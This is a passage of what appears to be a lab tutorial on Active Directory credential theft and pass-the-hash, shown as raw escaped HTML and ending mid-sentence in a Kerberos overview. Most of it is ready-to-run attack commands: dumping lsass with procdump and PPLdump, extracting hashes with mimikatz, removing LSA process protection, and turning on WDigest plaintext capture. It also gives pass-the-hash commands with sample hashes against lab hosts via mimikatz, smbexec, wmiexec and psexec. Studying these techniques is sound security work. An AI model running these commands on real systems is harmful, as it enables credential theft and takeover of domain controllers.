class="cl"&gt;mimikatz.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::minidump ./passwd.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::logonpasswords full&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0010.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Here, we can see administrator information in the screenshot. Getting this information in a real environment basically means the engagement is over.&lt;/p&gt;&#10;&lt;h5 id="3-advanced-usage"&gt;&lt;a href="#3-advanced-usage" class="header-anchor"&gt;&lt;/a&gt;3. Advanced Usage&#10;&lt;/h5&gt;&lt;p&gt;① Use Mimikatz with a dump file created by procdump to extract credentials.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # log //Log captured information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::minidump passwd.dmp //Switch context by mounting the DMP file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::logonpasswords //List all available credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;② Use Mimikatz directly to extract credentials (administrative privileges required).&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikata # log //Log captured information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # privilege::debug //Elevate privileges to enable privileged Mimikatz operations&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::msv //Extract hashes from memory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::logonpasswords //List all available credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="with-local-administrator-privileges"&gt;&lt;a href="#with-local-administrator-privileges" class="header-anchor"&gt;&lt;/a&gt;With Local Administrator Privileges&#10;&lt;/h3&gt;&lt;h4 id="extract-passwords"&gt;&lt;a href="#extract-passwords" class="header-anchor"&gt;&lt;/a&gt;Extract Passwords&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;procdump.exe -accepteula -ma lsass.exe lsass.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz &amp;#34;privilege::debug&amp;#34; &amp;#34;sekurlsa::minidump lsass.dmp&amp;#34; &amp;#34;sekurlsa::logonPasswords&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz &amp;#34;privilege::debug&amp;#34; &amp;#34;token::elevate&amp;#34; &amp;#34;sekurlsa::logonpasswords&amp;#34; &amp;#34;lsadump::sam&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashdump: post/windows/gather/smart_hashdump&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;ip_range&amp;gt; -u &amp;lt;user&amp;gt; -p &amp;lt;password&amp;gt; -M lsassy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;ip_range&amp;gt; -u &amp;lt;user&amp;gt; -p &amp;#39;&amp;lt;password&amp;gt;&amp;#39; --sam / --lsa / --ntds&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="bypass-the-lsa-protection-policy-to-read-passwords"&gt;&lt;a href="#bypass-the-lsa-protection-policy-to-read-passwords" class="header-anchor"&gt;&lt;/a&gt;Bypass the LSA Protection Policy to Read Passwords&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PPLdump64.exe &amp;lt;lsass.exe|lsass_pid&amp;gt; lsass.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz &amp;#34;!+&amp;#34; &amp;#34;!processprotect /process:lsass.exe /remove&amp;#34; &amp;#34;privilege::debug&amp;#34; &amp;#34;token::elevate&amp;#34; &amp;#34;sekurlsa::logonpasswords&amp;#34; &amp;#34;!processprotect /process:lsass.exe&amp;#34; &amp;#34;!-&amp;#34; #with mimidriver.sys&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Workflow summary:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Obtain the NTLM hash&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Use procdump/PPLdump to dump the lsass process&lt;/li&gt;&#10;&lt;li&gt;Use mimikatz to analyze the dump file and extract the hash&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Choose a path using the NTLM hash:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Crack the hash to obtain the plaintext password&lt;/li&gt;&#10;&lt;li&gt;Use the hash directly in a PTH attack (when it cannot be cracked)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;Key points:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;NTLM hashes are generated the same way on all Windows systems (MD4)&lt;/li&gt;&#10;&lt;li&gt;The same password produces the same hash on different machines&lt;/li&gt;&#10;&lt;li&gt;PTH can authenticate without the plaintext password&lt;/li&gt;&#10;&lt;li&gt;A dump of lsass contains credential information for every logged-in user&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;In particular:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;The hash of the administrator who is currently logged in&lt;/li&gt;&#10;&lt;li&gt;Hashes of other logged-in users&lt;/li&gt;&#10;&lt;li&gt;Hashes of system service accounts&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;But keep in mind:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;You can only obtain hashes for users who have logged in&lt;/li&gt;&#10;&lt;li&gt;Information for users who have never logged in will not be present in lsass&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;In practice, cracking md4 can also recover the plaintext password.&lt;/p&gt;&#10;&lt;h3 id="5-lab-pth-pass-the-hash"&gt;&lt;a href="#5-lab-pth-pass-the-hash" class="header-anchor"&gt;&lt;/a&gt;5. Lab: PTH (pass-the-hash)&#10;&lt;/h3&gt;&lt;h4 id="-introduction"&gt;&lt;a href="#-introduction" class="header-anchor"&gt;&lt;/a&gt;① Introduction&#10;&lt;/h4&gt;&lt;p&gt;Pass-the-hash is a hacker technique in which an attacker uses the hash of a user&amp;rsquo;s password to authenticate to a remote server and expand their foothold. It is essentially a form of &lt;code&gt;credential stuffing&lt;/code&gt;. Once we have an NTLM hash, we can very easily launch a PTH attempt with Mimikatz&amp;rsquo;s &lt;code&gt;sekurlsa::pth&lt;/code&gt;.&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Limitation: the hash must remain static (the password must not be changed)&lt;/li&gt;&#10;&lt;li&gt;Applicable to: domains/workgroups where a hash can be obtained but not cracked, and where machines on the internal network share the same password.&lt;/li&gt;&#10;&lt;li&gt;KB2871997: fixed PTH for standard users, but not administrators. On systems &amp;gt;= win server 2012, plaintext passwords cannot be captured from the lsass process.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;Because KB2871997 fixed PTH for standard users, privilege::debug is needed to elevate privileges (from a high-privilege terminal).&lt;/p&gt;&#10;&lt;h4 id="-prerequisites"&gt;&lt;a href="#-prerequisites" class="header-anchor"&gt;&lt;/a&gt;② Prerequisites&#10;&lt;/h4&gt;&lt;p&gt;To use Mimikatz&amp;rsquo;s sekurlsa::pth module, you need to know at least the following:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;PTH target: use commands such as &lt;code&gt;net user /domain&lt;/code&gt; to view domain-user information&lt;/li&gt;&#10;&lt;li&gt;Domain name: use commands such as &lt;code&gt;net view /domain&lt;/code&gt; to view the domain name&lt;/li&gt;&#10;&lt;li&gt;NTLM hash: obtain it with procdump and Mimikatz&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Additional notes:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f # Enable password capture&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. rundll32 user32.dll,LockWorkStation # Force the lock screen so the user logs in again and the password can be captured from lsass.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="-when-it-applies"&gt;&lt;a href="#-when-it-applies" class="header-anchor"&gt;&lt;/a&gt;③ When It Applies&#10;&lt;/h4&gt;&lt;p&gt;This applies when you do not need the user&amp;rsquo;s password, only have the domain controller&amp;rsquo;s NTLM Hash, and cannot crack it.&lt;/p&gt;&#10;&lt;h4 id="-information-gathering"&gt;&lt;a href="#-information-gathering" class="header-anchor"&gt;&lt;/a&gt;④ Information Gathering&#10;&lt;/h4&gt;&lt;p&gt;Find the PTH target =&amp;gt; Administrator&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;View members of the administrators group =&amp;gt; choose Administrator as the target&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Domain name =&amp;gt; MAO&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Obtain the administrator&amp;rsquo;s ntml hash =&amp;gt; 570a9a65db8fba761c1008a51d4c95ab&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Mimikatz.exe can handle all of this:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::minidump ./passwd.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::logonpasswords full&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="-launch-the-attack"&gt;&lt;a href="#-launch-the-attack" class="header-anchor"&gt;&lt;/a&gt;⑤ Launch the Attack&#10;&lt;/h4&gt;&lt;h5 id="method-1-direct-pth-with-mimikatz"&gt;&lt;a href="#method-1-direct-pth-with-mimikatz" class="header-anchor"&gt;&lt;/a&gt;Method 1: Direct PTH with Mimikatz&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::pth /user:&amp;lt;USERNAME&amp;gt; /domain:&amp;lt;DOMAIN_NAME&amp;gt; /ntlm:&amp;lt;ntlm hash&amp;gt; [/run:name]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::pth /user:Administrator /domain:MAO /ntlm:570a9a65db8fba761c1008a51d4c95ab /run:cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This gives us control of the domain controller. (If all parameters are correct but the attack still fails, try closing the Mimikatz window, start cmd.exe again as administrator, elevate privileges again, and rerun the attack. The command after run is optional; by default, it opens cmd.exe on the domain controller.)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="method-2-use-credential-passing-scripts-to-obtain-a-shell"&gt;&lt;a href="#method-2-use-credential-passing-scripts-to-obtain-a-shell" class="header-anchor"&gt;&lt;/a&gt;Method 2: Use Credential-Passing Scripts to Obtain a Shell&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;①smbexec.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python /opt/impacket/build/scripts-3.12/smbexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbexec.py administrator:&amp;#39;password&amp;#39;@&amp;lt;target-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;②wmiexec.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python /opt/impacket/build/scripts-3.12/wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmiexec.py administrator:&amp;#39;password&amp;#39;@&amp;lt;target-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/opt/impacket/build/scripts-3.12/psexec.py administrator:&amp;#39;password&amp;#39;@10.10.10.97&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec.exe \\WindowsServerAD.test.local -u test\administrator -hashes :2b2ddd54e1f78fab85e7c662f672f30e cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec.exe -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 FOREST/administrator@10.10.10.161&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psexec.exe &amp;#34;administrator&amp;#34;@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Can passing a standard user&amp;#39;s hash still provide a shell?&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Does the standard user&amp;#39;s hash belong to a domain account or a standard account on the domain controller?&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. If a standard account on the domain controller supports PTH, does creating it there automatically make it a domain account?&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Passing a standard user&amp;#39;s hash:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;A shell is possible, but permissions are limited&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Only authorized resources are accessible&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Administrative operations are unavailable&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Source of a standard user&amp;#39;s hash:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;It is the hash of a domain user account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;It is not a local account hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The credential is used for domain authentication&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Domain accounts and local accounts:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;A user created on the domain controller automatically becomes a domain user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Domain users can authenticate within the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Local accounts can only be used on their host&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Key point: PTH passes a domain account hash, whether the account is an administrator or a standard user.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;A shell on the domain controller requires its administrator hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="6-kerberos-authentication-protocol"&gt;&lt;a href="#6-kerberos-authentication-protocol" class="header-anchor"&gt;&lt;/a&gt;6. Kerberos Authentication Protocol&#10;&lt;/h3&gt;&lt;p&gt;Kerberos is a third-party authentication protocol that uses symmetric encryption to provide strong authentication for client/server applications. In Greek mythology, Kerberos is the three-headed hound guarding the gates of Hades. Its three heads represent the three roles in the protocol, as shown below:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;The Client accessing the service (the party sending the request)&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;The Server providing the service (the party receiving the request)&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;The KDC, or Key Distribution Center, which contains the following two services:&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;AS, the authentication service (Authentication Server) [dedicated to authenticating the client and issuing the TGT the client uses to access the TGS]&lt;/li&gt;&#10;&lt;li&gt;TGS, the ticket authorization service (Ticket Granting Server) [issues the tickets needed throughout authentication and the service ticket the client needs to access the server]&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;DC (Domain Controller): domain controller&lt;/li&gt;&#10;&lt;li&gt;KDC (Key Distribution Center): key distribution center&lt;/li&gt;&#10;&lt;li&gt;AS (Authentication Server): authentication server&lt;/li&gt;&#10;&lt;li&gt;TGS (Ticket Granting Server): ticket-granting server&lt;/li&gt;&#10;&lt;li&gt;TGT (Ticket Granting Ticket): ticket-granting ticket&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Authentication Overview&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;First, the client sends a request to the AS and obtains a TGT.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;The client uses the TGT obtained from the AS to send a request to the TGS. After successfully decrypting the TGT, the TGS generates a new 